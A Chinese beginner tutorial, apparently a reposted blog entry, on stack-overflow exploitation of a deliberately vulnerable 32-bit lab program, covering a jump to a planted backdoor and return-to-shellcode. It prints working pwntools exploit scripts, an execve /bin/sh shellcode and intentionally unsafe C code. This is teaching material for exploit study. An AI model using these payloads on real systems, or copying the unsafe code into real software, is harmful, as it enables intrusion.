前言
栈溢出学习(一),针对一个例子,进行各种栈溢出技术的练习。
- 本文属于新手实验难度,过程比较详细,适合新手学习
样例代码
本文使用的代码如下
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*
* compiled with:
* gcc -O0 -fno-stack-protector -no-pie -z execstack -m32 -g -o lab0 lab0.c
优化等级 关闭canary 关闭地址随机化 关闭NX 生成32位程序
*/
void shell()//backdoor
{
printf("You got it\n");
system("/bin/sh");
}
void hello(char* name)
{
char buf[20];
strcpy(buf,name);
puts("hello!!!");
printf("i am %s ",buf);
}
void main(int argc,char** argv)
{
setbuf(stdin,NULL);
setbuf(stdout,NULL);
char buf[100];
puts("*****************************************");
puts("PWN,hello world!");
gets(buf);
hello(buf);
}
0x01 跳转到后门函数getshell
- 当前环境:未开启优化,关闭canary,关闭地址随机化,32位程序
- 目标:程序跳转到预留后门函数shell()
首先patern_create 100
生成长度为100的测试字符串
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
然后r
执行程序,遇到等到终端输入,输入测试字符串,发生崩溃
观察到A)AA
覆盖到EIP
使用pattern_offset 0x41412941
确定偏移量为32
使用python生成字符串'a' * 32 + 'bbbb'
进行测试
bbbb
已覆盖到EIP,接下来就是寻找后门函数shell()的地址,将bbbb
换为该地址
因为没有开启地址随机化,因此地址偏移不变,直接在gdb中disassemble shell
查看shell()反汇编情况
找到起始地址0x08048556
应用pwntools编写脚本如下:
from pwn import *
local = True
debug = True
if local:
io = process('./lab0')
else:
io = remote(ip,port)
if debug:
context.log_level = 'debug'
io.recvuntil('world!')
payload = b"a"*32 + p32(0x08048556)
io.sendline(payload)
io.interactive()
0x02 Return2shellcode
- 当前环境:未开启优化,关闭canary,关闭地址随机化,32位程序
- 目标:在main栈上方构建shellcode
首先在exploit db上找一个合适的shellcode,注意系统架构要正确
在0x01中分析可以知道,栈上空间一共有36字节,找一个小于等于32字节的shellcode就可以了(4字节预留给EIP控制程序流)
使用的shellcode如下
/*
# Linux/x86 - execve /bin/sh shellcode (20 bytes)
# Author: Rajvardhan
# Tested on: i686 GNU/Linux
# Shellcode Length: 20
Disassembly of section .text:
08049000 <.text>:
8049000: 31 c9 xor %ecx,%ecx
8049002: 6a 0b push $0xb
8049004: 58 pop %eax
8049005: 51 push %ecx
8049006: 68 2f 2f 73 68 push $0x68732f2f
804900b: 68 2f 62 69 6e push $0x6e69622f
8049010: 89 e3 mov %esp,%ebx
8049012: cd 80 int $0x80
===============poc by Rajvardhan=========================
*/
#include<stdio.h>
#include<string.h>
unsigned char shellcode[] = "\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}
在进行该实验的时候遇到了两个坑(新手向)
坑1
使用常规的pattern_create
和pattern_offset
,显然,偏移与上一节一致,均为32。其不同点在于利用预留后门时,在未开启地址随机化的前提下,可以直接通过gdb查看函数地址,将要覆盖的eip设置未预留后门函数地址即可。
而return2shellcode
则需要将覆盖的eip设置为栈上地址,需要调试才能找到该地址
因为上面获取到的shellcode长度为20,因此构造测试字符串a*20+b*12+c*4
在栈上“发现”了存放字符串的地址0xffffd00c
,因此构造payload
shellcode = b'\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
padding = b'\x90' * 12
payload = padding + shellcode + p32(0xffffd00c)
但是执行的时候却发现不对。
后面经过单步调试发现,
在进入hello(buf)
前,stack的状态如下图,可见实际上地址0xffffd00c
存放的是用户经过gets(buf)
获取到的字符串
如下图,进入到hello直到执行ret之前,stack中字符串的地址为0xffffcfcc
,这里存放的字符串是通过strcpy(buf,name)
得来的
而执行ret之后,也就是尝试ret eip,却发现stack上的字符串地址变为0xffffd00c
这时候gdb尝试根据错误的eip跳转,之前已经做了esp的恢复工作,然后我看到的stack已经不是在hello内部的stack了
所以在这个坑点,我把地址设成了没进入hello()函数之前的字符串在栈上的地址。虽然如果地址正确,也能成功调用。但是确实是我一开始的一个误区
坑2
如果直接在gdb中调试代码的话,并且你使用绝对地址来进行定位,那么会产生相应的偏差,因为多出一个gdb的环境变量,这也是我第一次尝试的时候并没有成功的原因。
后面我使用pwntools的gdb.attach
进行调试,最终找到的地址就没有问题了,exp如下
from pwn import *
local = True
debug = True
ip = '167.179.104.254'
port = 8000
shellcode = b'\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
padding = b'\x90' * 12
if local:
io = process('./lab1')
else:
io = remote(ip,port)
if debug:
context.log_level = 'debug'
io.recvuntil('world!')
#input()
gdb.attach(io)
input()
payload = padding + shellcode + p32(0xffffd08c)
io.sendline(payload)
io.interactive()
使用的时候,在弹出gdb窗口后,要在exp的窗口键入回车再继续调试
总结
本文对一个栈溢出例子使用了两种简单方法进行实验
- 跳转到后门函数
- return2shellcode
因为如果继续写的话篇幅过长,下一篇栈溢出学习(二)依然会继续采用别的方法对同样的例子进行实验
转载:https://blog.csdn.net/qq_35544379/article/details/104984164